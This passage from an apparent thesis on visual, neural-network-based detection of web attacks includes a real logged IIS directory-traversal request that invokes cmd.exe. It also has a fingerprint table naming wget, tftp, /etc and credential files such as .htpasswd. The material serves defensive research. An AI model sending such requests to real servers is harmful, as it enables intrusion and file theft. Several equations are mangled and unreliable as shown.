explosion of unique tokens and unique Bernoulli alarm descriptions. A minority of 

existing approaches [e.g., 7] preserve quantitative and/or qualitative attribute 

descriptions of events as real-valued vectors Rd, and apply methods such as clustering or 

kernel-based comparisons to discover anomalous alarms, or patterns of alarms.  



Chapter 3 Research statement 
 

85 

Two IDS data sets were available for analysis, one a notional data set created under 

partially controlled laboratory conditions, the other a data set from an operational 

environment. The notional data set consisted of 221,635 alarms gathered from an 

installation of the RealSecure host-based IDS over 110 days in MITRE's Information 

Systems Security (INFOSEC) Laboratory, McLean, VA. The notional alarm data 

contained a mixture of routine non-automated user activity and more rare automated 

activity caused by the running of a vulnerability scanner. The operational data set 

consisted of 502,125 RealSecure host-based IDS alarms collected over 24 hours on a 

large computer network at a MITRE customer site. This data set contained a large 

volume of automated system administrator activity mixed in with the non-automated 

activity of both regular users and system administrators. The first-order statistics 

(frequencies of descriptors and symbols) were examined and second-order statistics 

(frequencies of pairs of symbols within a time window) of host-based IDS alarm 

streams generated in both notional and operational security environments.   In order to 

perform anomaly detection, a statistical typicality score was calculated for each alarm. 

To measure the typicality of an alarm, a user-defined time window was used to define a 

set of nearby alarms and their symbol representations. The typicality of alarm i was the 

sum of the number of times its symbol representation had appeared within a time 

window alongside the other symbols in the entire available history of activity on the 

network. If an alarm symbol has often appeared in proximity to the same symbols it 

appears alongside now, its typicality will be high. If an alarm symbol appears in an 

unusual temporal context, its typicality will be low and it will be regarded as 

anomalous. The time window used in the present study was 15 minutes for notional data 

and 15 seconds for operational data based on manual inspections of the alarm rate in 

each domain. A set of 998 alarms from the operational data set was chosen at random 

and checked to ensure a relatively homogenous coverage of the timeline of the data set 

so that all epochs of activity were represented. A security analyst familiar with the 

operational site curated alarms by comparing their individual content to the context of 

alarms surrounding them in time and classifying each alarm as either legitimate 

automated use of administrative accounts, or events that were judged not to be 

legitimate automated account use and thus candidates for further analysis as potential 

malicious insider activity. 
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Figure 3-10  Tokenized Bernoulli vector representation of notional alarms 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-11  Timeline of the typicality scores of operational alarms 
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Figure 3-10 shows a tokenized Bernoulli vector representation of notional alarms.  This 

visualization consists of alarms (rows) in chronological order, from top to bottom. Each 

column indicates the presence or absence of a specific descriptive token (key:value 

descriptor). Pixels that are illuminated in a column indicate the presence of that row's 

token in the alarm, and their colour indicates the typicality score of the alarm. 

Black/grey pixels represent the absence of tokens.  The colour code on the left 

represents the time modulo one hour, where deep blue is the top of the hour and deep 

red is the bottom of the hour. The text window on the upper right shows the text 

descriptors of a mouse-clicked alarm in the main window. 

Figure 3-11 shows a detailed timeline of the typicality scores of operational alarms. A 

baseline of high-typicality alarms is punctuated by bursts of less typical alarms. Cool 

tones (greens) indicate highly typical alarms, warmer tones indicate anomalous alarms. 

6) Most visualizations of security-related network data require large amounts of finely 

detailed, high-dimensional data. However, in some cases, the data available can only be 

coarsely detailed because of security concerns or other limitations. How can interesting 

security events still be discovered in data that lacks important details, such as IP 

addresses, network security alarms and labels?  

A system PortVis is described in [McPherson 04], which takes very coarsely detailed 

data-basic, summarized information of the activity on each TCP port during each given 

hour and uses visualization to help uncover interesting security events. PortVis 

produces images of network traffic mainly by choosing axes that correspond to 

important features of the data (such as time and port number), creating a grid based on 

these axes and then filling each cell of the grid with a colour that represents the network 

activity there.  

PortVis was designed with a simple philosophy: visualization generally flows from the 

highest-level semantic constructs to the lowest-level semantic constructs. For instance, 

security experts might look at a timeline (high-level semantic construct) and discover 

that, during a particular hour, there was a lot of activity. They may then look at the 

specific hour (mid-level semantic construct) and discover that the activity was all 

concentrated on a particular port. They may then look at the specific port (low-level 

semantic construct) to examine the activity in the context of that port’s normal activity 

and discover that the activity is very anomalous, warranting an examination of the 

actual network traffic. 



Chapter 3 Research statement 
 

88 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-12  PortVis application 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-13  PortVis: The port visualization 
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Figure 3-12 shows the entire application. Note that all of the available visualization 

tools are present simultaneously, so it is easy to correlate data and mentally shift 

between visualizations. Visualization generally begins at the timeline (1), followed by 

the hour (main) visualization (2). The main visualization contains a circle, which helps 

users locate the magnification square in its centre. Magnifications from the square 

within the main visualization are shown in (3); a port may be selected from (3) to get 

the port activity display in (4). Several parameters (5) control the appearance of the 

main display and port displays. The panel of options in (6) permits the selection of a 

data source for display and offers a colour-picker for selecting new colours for 

gradients. 

Figure 3-13 shows the port visualization. In each case, session count (the first attribute) 

is highlighted. These selected ports show a few distinct patterns of activity. The usage 

of Port 80 (1) is very periodic; it goes up during the day and predictably down during 

the night. Port 46011 (2) has a fairly constant level of activity, with a few spikes. Port 

27374 (3) is more erratic, though, interestingly, its usage drops noticeably as time goes 

on. Port 34816 (4) has one of the most suspicious usage graphs; it is only used a few 

times, but it is used fairly heavily during those times. 

Visual tools have also been used to visualize logs of IDS systems, such as the 

SnortView a 2D visualization system of Snort logs [Koike 04] and a Web-based system 

for Intrusion Detection [Nalluri 05].  

Visual analytics have recently been applied in network monitoring [Keim 06], Intrusion 

Detection [Teoh 04] and in Social Networks [Shen 06].   

3D visualization in [Axelsson 04] has been used to detect malicious web traffic. He 

processed the logs of a web server and used a log reduction system based on frequencies 

in order to select the traffic for the visualization of the web requests and the detection of 

unauthorized traffic. The log reduction scheme is based on descriptive statistics; in this 

case the frequencies with which events occur. In order to classify the requests according 

to how unusual they are, they are first cut up into components letting the reserved 

characters “?:&=+$,” separate the fields. For example a request such as 

‘GET/pub/index.html HTTP 1.1’, is separated into the components ‘GET’, ‘pub’, 

‘index.html’, ‘HTTP’ and ‘1.1’. The absolute frequencies of the fields as they appear in 

different unique request strings are counted. The request as a whole is scored by 

calculating the average of the absolute frequencies of the path components and hence 
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requests consisting of unusual components have a low score, signifying that they are 

viewed as anomalous. However, studying the frequencies of the component frequencies 

one can see that a few high scoring elements (such as ‘GET’) could skew (i.e. drive up) 

the average. Therefore a cutoff  is applied.  

3D visualization is done on preselected traffic, including both normal and malicious 

traffic and the operator navigates into the subgraphs and the graph tails in order to 

detect malicious or suspect traffic. To perform the actual detection the 5200 lowest 

scoring accesses are visualised in Figure 3-14 as a three dimensional general graph. The 

circular structure at the top of the graph that can be seen to reach almost all of the rest of 

the graph is the ‘GET’ node. Note that the edges are not drawn as solid lines, since this 

would completely occlude the view. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-14  Axelsson: Graph of the lowest scoring requests 
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In recent work Axelsson presented an IDS system based on a Bayesian classifier in the 

same vein as the now popular spam filtering software [Axelsson 04]. This simple 

classifier operates as follows: First the input is divided into some form of unit which 

lends itself to being classified as either benign or malicious, this unit of division is 

denoted as a message. It is the responsibility of the user to mark a sufficient number of 

messages as malicious/benign beforehand to effect the learning of the system. The 

system is thus one of directed self learning. The message is then further subdivided into 

tokens. The tokens are scored, so that the score indicates the probability of the token 

being present in a malicious message, i.e. the higher the relative frequency of the tokens 

occurrence in malicious messages, relative to its occurrence in benign messages, the 

more indicative the token is of the message being malicious. The entire message is then 

scored according to the weighted probability that it is malicious/benign given the scores 

of the tokens that it consists of. A 2D tool named Bayesvis was implemented to apply 

the principle of interactivity and visualisation to Bayesian intrusion detection. The tool 

reads messages as text strings and splits them up into the substrings that make the 

tokens. URL access requests make up the messages and they are split according to the 

URL field separating characters (;/?:@&=+,$). Figure 3-15 is a screen dump of the tool 

user interface and Figure 3-16 demonstrates a detection of Unicode attacks. 

Axelsson’s major limitations are the following: 

a) Only web logs, not real time web traffic, are processed. 

b) visual analytics are not used for web malicious traffic analysis, quick interpretation 

or diagnosis. 

c) the training phase of the classifier is time-consuming as sufficient statistics for every 

type of web attack are needed for the efficient work of a Bayesian classifier. The 

training is also a laborious task as the operator has to perform manually the 

correction of false alarms. He starts by marking a few of the benign accesses and 

then he re-scores, re-sorts and repeats the process, until the false positive rate arrives 

at an acceptable level, according to a predefined strategy. 

d)  attacks against the web applications are not detected, such as backdoor intrusions and 

code injection attempts by high level applications such as HTML, Java, SQL, Perl, 

and Php. 

e) new attacks cannot be detected due to the absence of previous statistics. 



Chapter 3 Research statement 
 

92 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-15  Axelsson’s BayesVis tool 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-16  BayesVis generalised detection of Unicode attacks 
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To our knowledge the only system today which provides almost real time visualisation 

of web intrusions is SnortView [Koike 04].   

It is an IDS log visualization system which helps security analysts in analyzing Snort 

alerts much faster and more easily. Snort produces a huge number of continuous alerts 

which contain a large number of false alarms. The log analysis module of SnortView 

reads syslog and Snort alert log files every two minutes for near real-time monitoring. 

The visualization module is separated into three frames: the Source address frame, the 

Alert frame and the Source-Destination matrix frame. In Figure 3-17 there is a Source 

Address frame where the source IPs detected by NIDS are sorted and listed vertically. 

The middle of the application window shows an alert frame. In this frame, the vertical 

axis represents a list of source IPs as described above and the horizontal axis represents 

time. Each NIDS alert is displayed as a coloured icon as shown in Figure 3-18. The 

colour represents the priority information of the Snort alert. That is, red, yellow and 

blue mean priorities 1, 2 and 3, respectively. To the right of Figure 3-17 is the Source-

Destination Matrix frame. In this matrix representation, a red circle represents 

communication between a particular source and a particular destination. The source IP 

is found by moving the focus to the left. The destination IP is found by moving the 

focus to the bottom. In Figure 3-19, a particular source periodically sends ICMP packets 

as indicated by ▼. It is often the case that such periodically continuing alerts are false 

positives. However, as we can see in this figure, another alert (i.e., □) exceptionally 

appears in the series of the same alert. When the administrator investigates the textual 

log, such an exceptional alert is hidden in the huge amount of the same alert and he/she 

cannot recognize this exceptional alert. However, the exceptional alert comes up in the 

visualization and the administrator is successful in finding the alert. Figure 3-20 shows 

that a very small number of packets were sent in every fifteen minutes from a host in an 

outer network as indicated by ▼. Then the host finally executed an attack to the 

Webserver (as indicated by *). Script kiddies often use automated tools which produce a 

number of alerts in a short period of time. These alerts are relatively easier to find. On 

the other hand, advanced attackers use this method to probe their target system. It is 

difficult to find a correlation between these time separated attacks in a textual log. By 

using the visualization, it is much easier to understand the correlation between probe 

activities and an attack. 
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Figure 3-17  Snapshot of SnortView 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-18  SnortView Alert pane 
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Figure 3-19  SnortView: Detection of exceptional alert 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-20  SnortView: Detection of Sequence of attacks 
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The system uses heuristics to detect false alarms such as alarms which appear 

consecutively, alarms which appear repeatedly, alarms which conflict with provided 

services and alarms for other networks which are not monitored. The system was 

designed to use the administrator’s heuristics when he/she judges alarms to be false 

detections.  

The major limitations of SnortView are as follows:  

a) the information of the web request (payload) is not used, so the system cannot detect 

backdoor attacks or DoS attacks,  

b) the amount of information displayed on the screen is limited because SnortView 

overlays statistical information onto each attack to prevent the visualization from 

being overwhelmed by the series of the same attack,  

c) the system, by processing the Snort logs, cannot detect the attacks that the Snort 

signature data base does not recognize, as it does not use any intelligent system for 

learning,  

d) the system has no ability to detect new attacks. 
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 Chapter 4  

 Evolutionary Artificial Neural Network 

 Prototype System 

4.1  Introduction 

In this section we will describe an ongoing surveillance prototype system which offers a 

visual aid to the web and security analyst by monitoring and exploring 3D graphs. The 

system offers a visual surveillance of the network activity on a web server for both 

normal and anomalous or malicious activity. Colors are used on the 3D graphics to 

indicate different categories of web attacks and the analyst has the ability to navigate 

into the web requests, of either normal or malicious traffic. Artificial Intelligence is 

combined with 3D graph Visualization to detect and display unauthorized web traffic. 

The system is a surveillance aid for the web and security analyst, offering him the 

possibility to navigate into the payload of the web request for further analysis and 

adequate response and providing him with a user friendly visual tool to detect anomalies 

in web requests by exploring 3D graphs to understand quickly the kind of undergoing 

attack by means of colors. The system looks into web requests to detect “fingerprints” 

which are special characters or chains of characters. These fingerprints are then passed 

to an expert system to decide if they constitute a malicious request or attack. The output 

of the expert system is then transformed to a 3D graph for visual interpretation and in 

parallel is kept for statistical analysis. Web attacks can be either rejected by the web 

server or can be successful due to security weaknesses. If penetration occurs action must 

be taken by the security analyst as the prototype system does not deal with resolving the 

damage caused by an attack. It is solely a surveillance device.  

In the first version of the prototype system the expert system used for the web attack 

classification was a supervised multilayer Artificial Neural Network (ANN). Later, in 

the final version a hybrid expert system was used as the knowledge base system, an 
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Evolutionary Artificial Neural Network (EANN). The advantages of the hybrid expert 

system will be explained later in this section. 

First, the self-organizing neural network (ART1 algorithm) and how it is used to 

classify the various web attack types in classes is presented. Then, the modules of the 

prototype system are presented in details and finally the system performance is 

calculated. 

4.2  Classification of web attack types 

4.2.1  Self-organizing neural network (ART) 

The Adaptive Resonance Theorem (ART1) [Carpenter and Grossberg 87] is a good 

example of a self organizing neural network. It is consisted of an instar and an outstar 

network joined together plus some extra features to perform competitive learning and 

‘vigilance’ ρ , which will explained later. 

The learning rule of the instar network which is often referred to as Kohonen learning 

[Hecht-Nielsen 87] is: 

jijiij ywxkw *)( −=Δ  

When a pattern is presented at its input, a single neuron which has weights that are the 

closest to the input pattern produces a 1 output, while all the other neurons produce a 0. 

Learning in the instar is therefore unsupervised.  

The learning rule for the outstar network which is often referred to as Grossberg 

learning [Hecht-Nielsen 87] is: 

iijiij xwykw *)( −=Δ  

This rule is complementary to the instar rule in that the weights are now adjusted so that 

they will eventually equal the desired output value and that only the weights associated 

with the input that is a 1 are adjusted. 

Since the outstar network only works if one of its inputs is 1 and all the others are 0 it is 

possible to join the instar and outstar networks together. A property of this network is 

that if a new pattern is presented, the stored pattern that is most similar to it will produce 

the maximum output in the first layer and then recall the stored pattern in the second 
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layer. So instar/outstar network can generalize and recall perfect data from imperfect 

data. 

The way that ART1 works (Figure 4-1) can be described by the following steps: 

Step 1 Input pattern X directly to the instar network. 

Step 2 Find the neuron with the maximum response – neuron i. 

Step 3 Make the output of neuron i equal to 1 and all other 0. 

Step 4 Feed the output of the instar to the input of the outstar to generate an output 

pattern Y . 

Step 5 Feed Y  back to create a new pattern which equals X AND Y . 

Step 6 Calculate the vigilance, ρ. 

Step 7 If  ρ is greater than some predetermined threshold, modify the weights of neuron 

i in the instar network so that they are normalized versions of the pattern X AND 

Y. Also, in the outstar network, modify the weights so that the output produced 

 equals the new pattern X AND Y. Go to step 1. 

Step 8 If ρ is less than the threshold, suppress the output of neuron i and find the neuron 

 with the next largest output value – neuron j. Go to step 3. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-1  Grossberg’s ART1 network 
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When the first pattern arrives, the neuron that produces the largest response is selected 

using a winner takes all mechanism to ensure that this neuron alone in the first layer has 

its weights adjusted. All of the neurons in the second layer will have the weight 

associated with the input connected to this single neuron adjusted to produce the same 

pattern at the output of the network. Thus the first pattern that the network receives is 

regarded as the template or exemplar pattern for the first class. When subsequent 

patterns arrive at the input, the neuron that produces the largest response is selected by 

the winner takes all mechanism. Then it will do either of two things: 

1. If the pattern is similar to the exemplar pattern (measured by the vigilance ρ), a new 

exemplar is produced which is a combination of the old exemplar and the new input 

pattern. 

2. If the pattern is dissimilar by the same measure ρ to the exemplar pattern, the new 

pattern becomes the exemplar for a new class. 

This continues forever, with new classes being added when necessary and the existing 

exemplars being modified so that they become more representative of the class that they 

exemplify. The outputs are the exemplars themselves. So, at any stage in the operation 

of the network, an input pattern will produce an output pattern which is the exemplar for 

the class in which the input pattern belongs. 

Let us look now at the situation in which a new input pattern is presented at the input 

which is similar enough to one of the stored patterns to be regarded as belonging to the 

same class, but which is not identical to it. To start with, the new pattern is input to the 

instar network directly, to produce the maximum response in one of the neurons. This 

generates a stored pattern Y at the output of the outstar network. The AND of the input 

pattern X and the stored pattern Y is found. At this point the vigilance ρ is measured to 

see if it is above or below some preset value or threshold. The vigilance equals the 

number of 1s in the pattern produced by finding X AND Y, divided by the number of 1s 

that are in the input pattern, X. This can be written as: 
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where yi is the stored pattern in 0/1 notation and ^ is the AND function. When there is a 

perfect match, the value of ρ is 1, otherwise it is between 0 and 1. If the vigilance is 



Chapter 4 EANN Prototype System 
 

101 

above the threshold, the adapted pattern is stored in the network. When this happen the 

neuron in the first layer that has been selected has its weights adjusted so that they 

match the AND of the input pattern and the old exemplar pattern for this class and are 

then normalized. In ART1 normalization means dividing the weights by the sum of the 

valueof the elements in the vector rather than the sum of the squares. The weights are 

therefore given as: 
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where L must be greater than 1 (typically L = 2) [Carpenter and Grossberg 87].  

The purpose of the vigilance parameter is to define the class size. If vigilance is large, 

larger classes result (clusters with larger numbers of members). Decreasing the 

vigilance parameter will result in clusters with fewer members. 

In the second layer, weights wij in each of the neurons are adjusted so that they too 

correspond to the AND of the two patterns and therefore have values of either 0 or 1. 

The effect is that the patterns ‘resonate’, producing a stable output. 

4.2.2  Web attack classes 

Modern web servers offer optional features which improve convenience and 

functionality at the cost of increased security tasks. These optional features are taken in 

consideration in our design in addition to traditional types of web attacks (Unicode, 

directory traversal, buffer overflow, mail and CGI attacks). Different kinds of 

application insertion attempts are detected such as HTML, Javascript, SQL, Perl, 

Access and PHP. In addition IIS indexing vulnerabilities, IIS highlight, illegal postfixes, 

IIS file insertion (.stm), IIS proxy attempts and IIS data access vulnerabilities (msadc) 

are detected as well. All .asa, .asp and Java requests are tested for URI (Uniform 

Resource Identifier) legal syntax according to standards, meaning that a corresponding 

query not in the form <?key=value> is illegal.  Trojan/backdoor upload requests are 

detected as well. These backdoors are left by worms such as Code Red, Sadmin/IIS and 

Nimda. Backdoor attempts for apache and IIS servers are detected when web requests 

ask for the corresponding password files (.sam and .htpasswd). Finally, command 

execution attempts are detected for both Windows (.exe, .bat, .sys, .com., .ini, .sh, .dll 

and other) and Unix (cat, tftp, wget, ls and other) environments.  
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To classify the above web attack types a self-organizing neural network system has 

been used. The system was based on the famous Grossberg and Carperter’s Adaptive 

Resonance Theory (ART1). ART1 algorithm is an unsupervised learning algorithm with 

biological motivations. Clustering algorithms are motivated by biology in that they offer 

the ability for learning through classification. Based on the Grossberg’s stability-

plasticity dilemma new concepts are clustered with analogous old ones and when new 

knowledge is encountered new clusters are created without destroying what had already 

been learned. 

The ART1 neural network created 15 clusters or classes. These 15 classes were finally 

grouped manually to 9 as there was more that one class for command execution 

(Windows, Unix) and IIS type of attacks. It is interesting to notice that ART1 did not 

create a separate class for directory traversal and Unicode attacks because almost all of 

the web requests containing Unicode or traversal fingerprints (..\ or ../) always included 

another type of attack (e.g. buffer overflow, command execution attempt, code 

injections or other). So, directory traversal and Unicode attempts are not classified as 

separate attack classes. For historical reasons we included Unicode attempts into the 

Miscellaneous class.  

The 9 final web attack classes used are the following: 

1. Commands (CMD): Unix or Windows commands for code execution attempts. 

2. Insertions (INS): Application code injections (SQL, Perl, HTML, Javascript, 

Data Access). 

3. Trojan Backdoor Attempts (TBA): Attacks triggered by virus and worms (Cod 

Red II, Sadmin, Luppi etc.).  

4. Mail (MAI): Mail attacks through port 80 (formail, sendmail etc.).  

5. Buffer overflows (BOV): Attacks corrupting the execution stack of a web 

application. 

6. Common Gateway Interface (CGI): Exploitation of vulnerable CGI programs. 

7. Internet Information Server(IIS): Attacks due to vulnerabilities of IIS. 

8. Cross Site Scripting (XSS) or Server Side Includes (SSI) attacks. 

9. Miscellaneous (MISC): Coldfusion, Unicode, and malicious web request options 

such as PROPFIND, CONNECT, OPTIONS, SEARCH, DEBUG, PUT and 

TRACE. 



Chapter 4 EANN Prototype System 
 

103 

4.3  Prototype modules 

The visualization prototype system consists of the following modules:  

• Data capture module,  

• Pre-processor module,  

• Knowledge base module,  

• Graph generator module, 

• Statistical analysis module. 

The data capture module selects data either on-line from the Internet traffic or offline 

from the web server logs. The pre-processor module examines the web requests to 

detect malicious traffic and its output is then forwarded to the knowledge base module 

to predict the type of unauthorized traffic. Then, both normal and malicious traffic are 

processed by the graph generator module for visualization. Additionally, all traffic is 

processed for statistical analysis. Figure 4-2 shows the architecture of the visualization 

prototype system. Each module is described in detail below: 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-2  Visualization prototype system 
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4.3.1  Data Capture module 

The two most popular web servers are Microsoft Internet Information Services (IIS) and 

the open source Apache web server. The IIS web server of the Library of the 

Technological Educational Institution (TEI) of Athens was used in order to study the 

various types of attacks and to create the knowledge data base of the system. Real data 

was captured with the tcpdump utility in June and November 2005. As the said data did 

not contain all classes of web attacks, tests were completed using web logs data from 

2003, 2004 and 2005 traffic. Web logs covered all versions of the Microsoft IIS server, 

e.g. V4 (Windows NT 4.0), V5 (Windows 2000), V6 and HTTP API 1.0 (Windows 

2003). The size of real data was 95.298 web requests and the size of tested logs was 

527.373, 620.033 and 23.577 events for the web logs of 2003, 2004  and 2005 

respectively. 

The logs of different IIS versions contain the same attributes but their syntax differs 

slightly from version to version. For instance the web logs of V5 and V6 have the 

following structure: 

#Software: Microsoft Internet Information Services 5.0 

#Version: 1.0 

#Date: 2005-05-19 to 2005-06-15 

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-

status sc-win32-status sc-bytes cs-bytes time-taken cs-version cs(User-Agent) 

cs(Cookie) cs(Referer)  

Example: 

2005-05-19 04:46:31 66.249.64.68 - 195.130.99.101 80 GET /robots.txt - 404 2 4184 

199 10 HTTP/1.0 Googlebot/2.1+(+http://www.google.com/bot.html) - - 

#Software: Microsoft Internet Information Services 6.0 

#Version: 1.0 

#Date: 2005-06-25 13:37:21 

#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip 

cs(User-Agent) sc-status sc-substatus sc-win32-status 

Example:  
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2005-06-25 13:37:21 195.130.99.3 GET /cacti/image.php - 80 - 82.232.3.137 - 404 0 64 

A web request captured online with the tcpdump utility has the following form: 

IP 195.251.243.224.1412 > 195.130.99.96.80: tcp 268 

GET /HM_Loader.js HTTP/1.1 

Accept: */* 

Referer: http://www.library.teiath.gr/ 

Accept-Language: el 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322) 

Host: www.library.teiath.gr 

Connection: Keep-Alive 

From the above data the attributes to be processed by the system are the web request 

source IP (c-ip), the request command e.g GET (cs-method) and the request payload 

(cs-uri-stem).  

4.3.2  Pre-processor module 

A total of 30 fingerprints were used in the model to group all the different types of 

known web attacks [Chirillo 02] A detailed description of the web attack fingerprints 

was given in Appendix B. For the detection of fingerprints in the web requests or logs 

the regular expressions were primarily used in the pre-processor module.  

The pre-processor analyses the web request and creates a feature vector of dimension 

30. Fingerprints are detected checking their decimal or hexadecimal representation. The 

presence of a specific fingerprint in the web request is indicated in the feature vector as 

1 (true) and its absence as 0 (false or unknown). An attack may have more that one 1s 

fired in its vector representation and an attack belonging to a specific attack class has at 

least one binary representation.  

The outputs of the pre-processor module are two files, one with the feature vector and 

one with the web request data.  

For instance the pre-processor for the following malicious web request: 

00:25:37 213.23.17.133 - HEAD /Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe 

/c+dir+c:\ 404 143 99 0 HTTP/1.0 - - - 
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produces the following two outputs: 

1 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   (feature vector)  and 

213.23.17.133 HEAD /Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\   

(payload). 

The feature vector will be the input to the expert system and the request data will be 

forwarded to the graph generator module. The extracted data from a web request are the 

most significant for the online analysis such as the source IP address, the request option 

(GET, HEAD etc.) and the request payload. 

Table 4-1 summarizes the list of used fingerprints with the appropriate attack types. It is 

important to notice that the presence of a specific fingerprint in a web request, e.g. the 

characters “ * ” or “ ; ”, do not necessarily denote an attack. It could simply be a false 

alarm. It is the expert system which decides if the request constitutes a true attack or 

not, by consulting its knowledge data base. 
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a/a Attributes 

 
CMD 

 
INS 

 
TBA MAI BOV CGI IIS XSS 

SSI 
MISC 

A1 \..  or  /.. X X X       
A2 " . .. … " X X X       
A3 " | "  (%7c)   (FA) X         
A4 " ; " (%3b)   (FA) X         
A5 %00 (null) X         
A6 " ` " (%60) X         
A7 " * " (%2a)  (FA) X         
A8 " ~ "  (%7e) X         
A9 " # ^ {} [] " X  X       
A10 root.exe, sam., cd 

.pwd,.htpasswd 
   

X 
      

A11 /etc, /bin, /usr, ls -al, 
tftp, wget, cat, … 

X         

A12 .exe,.bat,.sys, 
.com,.ini,.sh,.dll, … 

 
X 

        

A13 cmd?.exe X         
A14 " > "  X        
A15 " <   >"        X  
A16 " ! " (%21) and not 

alphanum. before 
        

X 
 

A17 " <?   ?> "  X        
A18 " ' " (%27)  X        
A19 " (   ) "        X  
A20 Lots of chars (>256) 

e.g  AAAA…AAA 
     

X 
    

A21 %xx%xx  (unicode) 
or %uxxxx  

         
X 

A22 .asa .asp .jsp  
followed by 

\ + .. ::$DATA or ? 
and 

illegal query:  not 
<?key=val> 

       
X 

  

A23 .htw, .htr, .stm 
.ida, .idc, .idq 

      X   

A24 msadcs, .pl, .jsp   X        
A25 iisadmin, 

iisadmpwd 
  X       

A26 *mail*, postform    X      
A27 .cgi  (FA)      X    
A28 .cfm         X 
A29 PROPFIND, PUT 

OPTIONS, DEBUG 
CONNECT, 

SEARCH, TRACE, 

         
 

X 

A30 phpMyAdmin, 
phpmyadmin, iisstart 

   
X 

      

Table 4-1  Fingerprints and web attack classes 

FA: False Alarm 
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4.3.3  Knowledge base module 

If the pre-processor detects even one fingerprint its output is forwarded to an expert 

system for classification. In the first version of the prototype [Xydas 06] we used an 

Artificial Neural Network (ANN) as the knowledge data base. In the final version of the 

prototype a hybrid expert system was used for the web attacks classification. It was an 

Evolutionary Artificial Neural Network (EANN), which is an Artificial Neural Network 

(ANN) combined with Genetic Algorithms (GA) for weight optimization. A detailed 

description of both components of the hybrid expert system and the algorithms used are 

given below.  

4.3.3.1  Artificial Neural network and Backpropagation 

The Artificial Neural Network (ANN) used was a multilayer network with one hidden 

layer, using the generalized delta rule with the backpropagation (BP) algorithm for 

learning and the sigmoid function as activation function.  

Let us consider the three-layer neural network of the prototype system shown in Figure 

4-3. The indices i, j and k here refer to neurons in the input, hidden and output layers, 

respectively. The parameters n, m and l are respectively 30, 10 and 9 for the prototype 

system. 

Inputs signals x1, x2, …,xn  are propagated through the network from left to right and error 

signals e1, e2,…,el from right to left. The symbol wij denotes the weight for the 

connection between neuron i in the input layer and neuron j in the hidden layer and the 

symbol wjk the weight between neuron j in the hidden layer and neuron k in the output 

layer.  



Chapter 4 EANN Prototype System 
 

109 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 4-3  Three layer ANN for the prototype system 

Let the training set be {x(k), d(k)} k=1..N, where x(k) is the input pattern vector to the 

network, y(k) the actual output and d(k) the desired output vector for the input pattern 

x(k).  
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E, the training rule for gradient descent is www rrr
Δ+← , where Δwr = -η * )(wE r

∇ , η is 

the learning rate which determines the step size in the search (we used η=0.2) and the 

negative of the vector gives the direction of steepest decrease. For applying the gradient 

descent method to the training of the network the continuous updating approach was 

used, which requires that the weights will be updated after each training pattern is 

presented. 

To accelerate the training and increase the speed of convergence while minimizing the 

possibility of oscillation around local minima a momentum term β has been added to the 

basic gradient descent formulation (we used β=0.95). In this case, the weight vector at 

time index (k+1) is related to the weight vectors at time indices k and (k-1) by 

 )]1(*/*[)()1( −Δ+∂∂−=+ kwwEkwkw rrrr βη  

The training algorithm of the prototype system can be described in a pseudo-code as 

following: 

Step 1:  Initialization 

Set all the weights and thresholds levels of the network to random numbers 

uniformly distributed in the range [-0.5, +0.5]. 

Step 2:  Activation 

Activate the back-propagation neural network by applying inputs x1(p), x2(p),…xn(p) 

and desired outputs yd,1(p), yd,2(p),…yd,n(p). 

1. Calculate the actual outputs of the neurons in the hidden layer: 

    ⎥
⎦

⎤
⎢
⎣

⎡
−= ∑

=

n

i
jijij pwpxsigmoidpy

1
)(*)()( θ , 

    where sigmoid is the sigmoidal activation function. 

2. Calculate the actual outputs of the neurons in the output layer: 

    ⎥
⎦

⎤
⎢
⎣

⎡
−= ∑

=

m

j
kjkjkk pwpxsigmoidpy

1
)(*)()( θ . 

Step 3:  Weight training 

Update the weights in the back-propagation network propagating backwards the errors 

associated with output neurons. 

1. Calculate the error gradient for the neurons in the output layer: 
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[ ] )(*)(1*)( pepyyp kkk −=κδ ,  where 

)()()( , pypype kkdk −=  

Calculate the weight corrections: 

)1(*)(*)(*)( −Δ+=Δ pwppypw jkkjjk βδη ,   where 

 η the learning rate (0.2) and β the momentum term (0.95) 

Update the weights at the output neurons: 

)()()1( pwpwpw jkjkjk Δ+=+  

2. Calculate the error gradient for the neurons in the hidden layer: 

[ ] )(*)(*)(1)()(
1

pwppypypj jk

l

k
kjj ∑

=

−+= δδ  

Calculate the weight corrections: 

)1(*)(*)(*)( −Δ+=Δ pwppxpw ijjiij βδη  

Update the weights at the hidden neurons: 

)()()1( pwpwpw ijijij Δ+=+  

Step 4. Iteration 

Increase iteration p by one, go back to Step 2 and repeat the process until the selected 

error criterion is satisfied.  
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4.3.3.2  Evolutionary Artificial Neural network 

4.3.3.2.1 Backpropagation versus genetic algorithms 

There are some drawbacks to backpropagation. For one, there is the “scaling problem”. 

Backpropagation works on simple training problems. However, as the problem 

complexity increases (due to increased dimensionality and/or greater complexity of the 

data), the performance of backpropagation falls off rapidly. This makes it infeasible for 

many real world problems. The performance degradation appears to stem from the fact 

that complex spaces have nearly global minima which are sparse among the local 

